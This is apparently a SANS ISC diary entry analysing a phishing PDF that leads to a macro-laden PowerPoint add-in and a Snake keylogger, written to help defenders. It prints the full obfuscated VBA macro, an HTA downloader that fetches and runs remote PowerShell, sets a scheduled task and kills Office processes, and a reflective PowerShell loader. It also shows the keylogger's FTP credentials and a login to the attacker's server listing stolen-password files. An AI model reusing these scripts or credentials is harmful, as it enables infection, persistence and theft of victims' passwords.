Simple PDF Linking to Malicious Content
Last week, I found an interesting piece of phishing based on a PDF file. Today, most of the PDF files that are delivered to end-user are not malicious, I mean that they don’t contain an exploit to trigger a vulnerability and infect the victim’s computer. They are just used as a transport mechanism to deliver more malicious content. Yesterday, Didier analyzed the same kind of Word document[1]. They are more and more common because they are (usually) not blocked by common filters at the perimeter.
The PDF file (SHA256:f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01) has a VT score of 1/58 and display a nice message:
The PDF is obfuscated in a classic way, all objects are embedded in an Object Stream:
remnux@remnux:/MalwareZoo/20220425$ pdfid.py f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -n
PDFiD 0.2.8 foo.pdf
PDF Header: %PDF-1.5
obj 25
endobj 25
stream 23
endstream 23
startxref 1
/ObjStm 1
/AcroForm 1
The file has a /URI keyword that points to the malicious URL:
remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -k /URI /URI (hxxps://www[.]mediafire[.]com/file/fwxhm1vylsg3nl3/7.ppam/file)
To visit the malicious URL, the victim has to click on the picture displayed above, this is made in the PDF file via the /Annot object:
remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -o 22
obj 22 0
Containing /ObjStm: 1 0
Type: /Annot
Referencing: 27 0 R, 28 0 R
<<
/Type /Annot
/Subtype /Link
/A 27 0 R
/Rect [1 0 613 791]
/BS 28 0 R
>>
remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -o 27
obj 27 0
Containing /ObjStm: 1 0
Type: /Action
Referencing:
<<
/Type /Action
/S /URI
/URI (hxxps://www[.]mediafire[.]com/file/fwxhm1vylsg3nl3/7.ppam/file)
>>
When you visit the URL, you fill fetch a malicious PowerPoint file: 7.ppam (SHA256:2198abfdf736586893afe8e15153369299d3164e036920ff19c83043ba4ce54b) (VT score: 21/64)
remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam
Index Filename Encrypted Timestamp
1 [Content_Types].xml 0 2022-04-06 13:56:56
2 _rels/.rels 0 1980-01-01 00:00:00
3 ppt/_rels/presentation.xml.rels 0 2022-04-06 13:57:10
4 ppt/presentation.xml 0 1980-01-01 00:00:00
5 ppt/slideLayouts/_rels/slideLayout5.xml.rels 0 1980-01-01 00:00:00
6 ppt/slideLayouts/_rels/slideLayout8.xml.rels 0 1980-01-01 00:00:00
7 ppt/slideLayouts/_rels/slideLayout9.xml.rels 0 1980-01-01 00:00:00
8 ppt/slideLayouts/_rels/slideLayout10.xml.rels 0 1980-01-01 00:00:00
9 ppt/slideLayouts/_rels/slideLayout11.xml.rels 0 1980-01-01 00:00:00
10 ppt/slideLayouts/_rels/slideLayout7.xml.rels 0 1980-01-01 00:00:00
11 ppt/slideLayouts/_rels/slideLayout6.xml.rels 0 1980-01-01 00:00:00
12 ppt/slideMasters/_rels/slideMaster1.xml.rels 0 1980-01-01 00:00:00
13 ppt/slideLayouts/_rels/slideLayout1.xml.rels 0 1980-01-01 00:00:00
14 ppt/slideLayouts/_rels/slideLayout2.xml.rels 0 1980-01-01 00:00:00
15 ppt/slideLayouts/_rels/slideLayout3.xml.rels 0 1980-01-01 00:00:00
16 ppt/slideLayouts/slideLayout11.xml 0 1980-01-01 00:00:00
17 ppt/slideLayouts/slideLayout10.xml 0 1980-01-01 00:00:00
18 ppt/slideLayouts/slideLayout9.xml 0 1980-01-01 00:00:00
19 ppt/slideMasters/slideMaster1.xml 0 1980-01-01 00:00:00
20 ppt/slideLayouts/slideLayout1.xml 0 1980-01-01 00:00:00
21 ppt/slideLayouts/slideLayout2.xml 0 1980-01-01 00:00:00
22 ppt/slideLayouts/slideLayout3.xml 0 1980-01-01 00:00:00
23 ppt/slideLayouts/slideLayout4.xml 0 1980-01-01 00:00:00
24 ppt/slideLayouts/slideLayout5.xml 0 1980-01-01 00:00:00
25 ppt/slideLayouts/slideLayout6.xml 0 1980-01-01 00:00:00
26 ppt/slideLayouts/slideLayout7.xml 0 1980-01-01 00:00:00
27 ppt/slideLayouts/slideLayout8.xml 0 1980-01-01 00:00:00
28 ppt/slideLayouts/_rels/slideLayout4.xml.rels 0 1980-01-01 00:00:00
29 ppt/theme/theme1.xml 0 1980-01-01 00:00:00
30 ppt/ksjksj.~text~TEXT~TEXT~ 0 1980-01-01 00:00:00
31 docProps/thumbnail.jpeg 0 2022-02-07 22:50:16
32 ppt/presProps.xml 0 1980-01-01 00:00:00
33 ppt/tableStyles.xml 0 1980-01-01 00:00:00
34 ppt/viewProps.xml 0 1980-01-01 00:00:00
35 docProps/app.xml 0 1980-01-01 00:00:00
36 docProps/core.xml 0 1980-01-01 00:00:00
The stream ID 30 looks the most interesting. It contains indeed a macro:
remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam -s 30 -d | oledump.py 1: 516 'PROJECT' 2: 26 'PROJECTwm' 3: M 5457 'VBA/Module1' 4: 2463 'VBA/_VBA_PROJECT' 5: 529 'VBA/dir' remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam -s 30 -d | oledump.py -s 3 -v Attribute VB_Name = "Module1" Sub Auto_Open() :::::: MsgBox "error! Re-install office":::::: Dim koaksdokasd As String:::::: koakosdk = "!@##!!@%^@^^n&&$%#g&&$%#tcar:":::::: koakosdk = Replace(koakosdk, "!@##!", "W"):::::: koakosdk = Replace(koakosdk, "!@%^@^^", "i"):::::: koakosdk = Replace(koakosdk, "car", "s"):::::: koakosdk = Replace(koakosdk, "&&$%#", "m"):::::: askjdjawjkdokawod = "askjdjawjkdokawod5nooo_Proce66":::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "askjdjawjkdokawod", "W"):::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "5", "i"):::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "ooo", "32"):::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "6", "s") :::::: koaksdokasd = "C:\Users\Public\update.js":::::: Close:::::: Open koaksdokasd For Output As #1:::::: Print #1, "function _0x2a39(_0x56d387,_0x4f348e){var _0x98da71=_0x98da();return _0x2a39=function(_0x2a392c,_0xb2ca10){_0x2a392c=_0x2a392c-0x19c;var _0x3d14a3=_0x98da71[_0x2a392c];return _0x3d14a3;},_0x2a39(_0x56d387,_0x4f348e);}function _0x98da(){var _0x4db6f6=['SpawnInstance_','30XpBDce','C:\x5cProgramData\x5cddond.com','2WjTghW','Win32_ProcessStartup','3551556ACfgms','CopyFile','1902954vylczN','Get','7dmvGMR','ShowWindow','155sBzhfb','winmgmts:','C:\x5cProgramData\x5cddond.com\x20hxxps://www[.]mediafire[.]com/file/d2oqymifkgxft56/7.htm/file','1058001GaUEEA','Create','24OTupMg','2802371DmNBod','146204AuCDSo','632050FwjRPn','3495483BWCpkS'];" :::::: Print #1, "_0x98da=function(){return _0x4db6f6;};return _0x98da();}var _0x550d40=_0x2a39;(function(_0x3935a0,_0x1de856){var _0x57a7a7=_0x2a39,_0xff11fe=_0x3935a0();while(!![]){try{var _0x2a1df1=-parseInt(_0x57a7a7(0x1a4))/0x1*(-parseInt(_0x57a7a7(0x19f))/0x2)+parseInt(_0x57a7a7(0x1af))/0x3+parseInt(_0x57a7a7(0x19e))/0x4*(-parseInt(_0x57a7a7(0x1ac))/0x5)+parseInt(_0x57a7a7(0x1a8))/0x6*(parseInt(_0x57a7a7(0x1aa))/0x7)+parseInt(_0x57a7a7(0x19c))/0x8*(parseInt(_0x57a7a7(0x1a0))/0x9)+parseInt(_0x57a7a7(0x1a2))/0xa*(-parseInt(_0x57a7a7(0x19d))/0xb)+parseInt(_0x57a7a7(0x1a6))/0xc;" :::::: Print #1, "if(_0x2a1df1===_0x1de856)break;else _0xff11fe['push'](_0xff11fe['shift']());}catch(_0x589b6a){_0xff11fe['push'](_0xff11fe['shift']());}}}(_0x98da,0xd3564),megamon=_0x550d40(0x1a3));var dihearter=new ActiveXObject('Scripting.FileSystemObject'),pit=dihearter[_0x550d40(0x1a7)]('C:\x5cWindows\x5cSystem32\x5cmshta.exe',megamon);KALYJA=_0x550d40(0x1ae);var w32ps=GetObject(_0x550d40(0x1ad))[_0x550d40(0x1a9)](_0x550d40(0x1a5));w32ps[_0x550d40(0x1a1)](),w32ps[_0x550d40(0x1ab)]=0x0;var rtrnCode=GetObject(_0x550d40(0x1ad))[_0x550d40(0x1a9)]('Win32_Process')[_0x550d40(0x1b0)](KALYJA,null,w32ps,null);":::::: Close::::::::::::::::::::::::::::::::::::: GetObject(koakosdk) _ . _ Get(askjdjawjkdokawod) _ . _ Create ("wscript C:\Users\Public\update.js") End Sub
No need to deobfuscate the macro completely, we see interesting strings (in red). The next payload is downloaded and then executed through mshta.exe.
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID="CS"
APPLICATIONNAME="Downloader"
WINDOWSTATE="minimize"
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="no"
CAPTION="no"
SHOWINTASKBAR="no">
<script>
chuchukukukaokiwDasidow = new ActiveXObject('Wscript.Shell');
kiii = "C:\\ProgramData\\ESETNONU.com";
var king = new ActiveXObject("Scripting.FileSystemObject");var pit = king.CopyFile ("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Powershell.exe", k
iii);
cmd = "C:\\ProgramData\\ESETNONU.com -EP B -NoP -c i'e'x([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('hxxps://www[.]mediafire[.]com/file
/w2uuz1cy4cl2gup/7.dll/file').GetResponse().GetResponseStream()).ReadToend());";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');w32ps.SpawnInstance_();w32ps.ShowWindow=0;var rtrnCode=GetObject('winmgmts:').Get('Win32_
Process').Create(cmd,null,w32ps,null);
chuchukukukaokiwDasidow.Run('schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr """%programdata%\\milon.com' + '""""""' + 'hxxps://www[.]mediafire[.]
com/file/3k4f9iglvljn9kt/7.htm/file"""',0);
megamon = "C:\\ProgramData\\milon.com";
var dihearter = new ActiveXObject("Scripting.FileSystemObject");var pit = dihearter.CopyFile ("C:\\Windows\\System32\\mshta.exe", megamon);
chuchukukukaokiwDasidow.Run("taskkill /f /im WinWord.exe",0);
chuchukukukaokiwDasidow.Run("taskkill /f /im Excel.exe",0);
chuchukukukaokiwDasidow.Run("taskkill /f /im POWERPNT.exe",0);
window.close();
</script>
</head>
<body>
</body>
</html>
You can see that the script implements persistence through a scheduled task and tries also to kill some processes. It fetches the next stage again from mediafire.com but it does not fetch a DLL. It's another script. It is a PowerShell script with some Base64 content:
remnux@remnux:/MalwareZoo/20220425$ base64dump.py 7.dll ID Size Encoded Decoded md5 decoded -- ---- ------- ------- ----------- 1: 4 Text M.m 3d0b353fa22a0001c9a7fda13f7c638e 2: 8 Encoding .w(v). 02b746b5b6358014a5294544d71a4dd7 3: 16 FromBase64String ..&.......). 4cfff9a87d891e1961d358c98991e469 4: 3560 QWRkLVR5cGUgLXR5 Add-Type -typede 0a9525d9ff1e87418c0b5c496546f889 5: 4 byte o+^ 50d0380b0362cc343a78fa4231fffe0f 6: 4 nona ... 8a773bb6add7d540b7c92c1ec8b22870 7: 4 Text M.m 3d0b353fa22a0001c9a7fda13f7c638e 8: 8 Encoding .w(v). 02b746b5b6358014a5294544d71a4dd7 9: 16 FromBase64String ..&.......). 4cfff9a87d891e1961d358c98991e469 10: 53872 W2J5dGVbXV0gJFNU [byte[]] $STRDYF adddffbf83acb22aaeccc45b897e99c3
The most interesting stream IDs look to be 4 and 10. Stream ID 4 contains the code to deobfuscate the second one. Let's check ID 10:
[byte[]] $STRDYFUGIHUYTYRTESRDYUGIRI =@(31,139,8,0,0,0,0,0,4,0,237,125,9,96,91,213,177,232,185,87,210,213,98,89,182,188,39,177,19,101,33,113,156,196,
... Stuff deleted ...
,169,182,152,105,157,58,250,129,8,15,178,241,99,153,24,104,242,117,245,190,185,254,7,175,109,194,239,216,213,150,255,179,21,249,230,250,103,92,255,7,238,182,245,33,0,108,0,0)
[byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-DecompressedByteArray $nona
[byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI
$FGCHJBKHVGCFHJVBKNBHVGJB = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG -TypeName 'System.Collections.ArrayList';
$FGCHJBKHVGCFHJVBKNBHVGJB.Add("W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRSRFNGR1RGSFlHVUpIS0dZRlREUlNSRFRGWUdKVUhLRERSVEZZRykuR2V0VHlwZSgncHJvakZVRC5QQScpLkdldE1ldGhvZCgnRXhlY3V0ZScpLkludm9rZSgkbnVsbCxbb2JqZWN0W11dICggJ0M6XFdpbmRvd3NcTWljcm9zb2Z0Lk5FVFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxhc3BuZXRfcmVnYnJvd3NlcnMuZXhlJywkUlNFVERZVUdVSURSU1RSRFlVR0lIT1lSVFNFVFJUWURVR0lPSCkp")
$FGCHJBKHVGCFHJVBKNBHVGJBA = COMBINEMEANINGSCOBOLTPOTASSIUM($FGCHJBKHVGCFHJVBKNBHVGJB)
$RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($FGCHJBKHVGCFHJVBKNBHVGJBA);try{$n=0;while($n -lt 3){&(GCM I*e-E*)($Run=($RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU -Join ''));$n++}}catch{}
[Reflection.Assembly]::Load($RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType('projFUD.PA').GetMethod('Execute').Invoke($null,[object[]] ( 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe',$RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH))
The scripts dumps and executes a PE file (SHA256:039c261036b80fd500607279933c43c4f1c78fdba1b54a9edbc8217df49ec154) that is not present on VT at this time. I uploaded it on Malware Bazaar[4].
The first analysis reports it as a Snake keylogger:
{
"family": "snakekeylogger",
"rule": "SnakeKeylogger",
"credentials": [
{
"protocol": "ftp",
"host": "ftp://103[.]147[.]185[.]85/",
"port": 21,
"username": "bvhfgas7",
"password": "xxxxxxxx"
}
]
}
The malware seems active based on the collected data that I found:
remnux@remnux:/MalwareZoo/20220425$ ftp 103[.]147[.]185[.]85 Connected to 103[.]147[.]185[.]85. 220-FileZilla Server version 0.9.41 beta 220-written by Tim Kosse (Tim.Kosse@gmx.de) 220 Please visit http://sourceforge.net/projects/filezilla/ Name (103[.]147[.]185[.]85:root): bvhfgas7 331 Password required for bvhfgas7 Password: 230 Logged on Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -l 229 Entering Extended Passive Mode (|||65003|) 150 Connection accepted -rw-r--r-- 1 ftp ftp 316 Apr 05 02:06 AMAZING-AVOCADO - Passwords ID - ZyiAEnXWZP1101827263.txt -rw-r--r-- 1 ftp ftp 316 Apr 05 02:06 AMAZING-AVOCADO - Passwords ID - ZyiAEnXWZP1872355191.txt -rw-r--r-- 1 ftp ftp 293 Apr 24 22:06 AUVQQRRF - Passwords ID - ZyiAEnXWZP532723221.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP1110184397.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP1883154258.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:52 CPJISPWT - Passwords ID - ZyiAEnXWZP2014006797.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP2067984079.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP384268998.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP506198539.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:55 CPJISPWT - Passwords ID - ZyiAEnXWZP573982685.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:52 CPJISPWT - Passwords ID - ZyiAEnXWZP637051078.txt -rw-r--r-- 1 ftp ftp 292 Apr 05 19:53 CPJISPWT - Passwords ID - ZyiAEnXWZP878300114.txt -rw-r--r-- 1 ftp ftp 301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1360583859.txt -rw-r--r-- 1 ftp ftp 301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1592468142.txt -rw-r--r-- 1 ftp ftp 301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1711955750.txt -rw-r--r-- 1 ftp ftp 301 Apr 06 04:56 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP1868796841.txt -rw-r--r-- 1 ftp ftp 300 Apr 04 23:18 DESKTOP-D019GDM - Passwords ID - ZyiAEnXWZP609212224.txt -rw-r--r-- 1 ftp ftp 293 Apr 24 22:06 JVJHUWZP - Passwords ID - ZyiAEnXWZP1117034868.txt -rw-r--r-- 1 ftp ftp 38 Mar 29 20:43 Snake Keylogger - YrTVKTaWocPKgCyA - 222139415.txt -rw-r--r-- 1 ftp ftp 293 Apr 24 22:11 WIN7X64 - Passwords ID - ZyiAEnXWZP1161416015.txt 226 Transfer OK
[1] https://isc.sans.edu/forums/diary/Analyzing+a+Phishing+Word+Document/28562/
[2] https://www.virustotal.com/gui/file/f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01
[3] https://www.virustotal.com/gui/file/2198abfdf736586893afe8e15153369299d3164e036920ff19c83043ba4ce54b
[4] https://bazaar.abuse.ch/sample/039c261036b80fd500607279933c43c4f1c78fdba1b54a9edbc8217df49ec154/
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
My next class:
| Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
×
![modal content]()
Diary Archives
Comments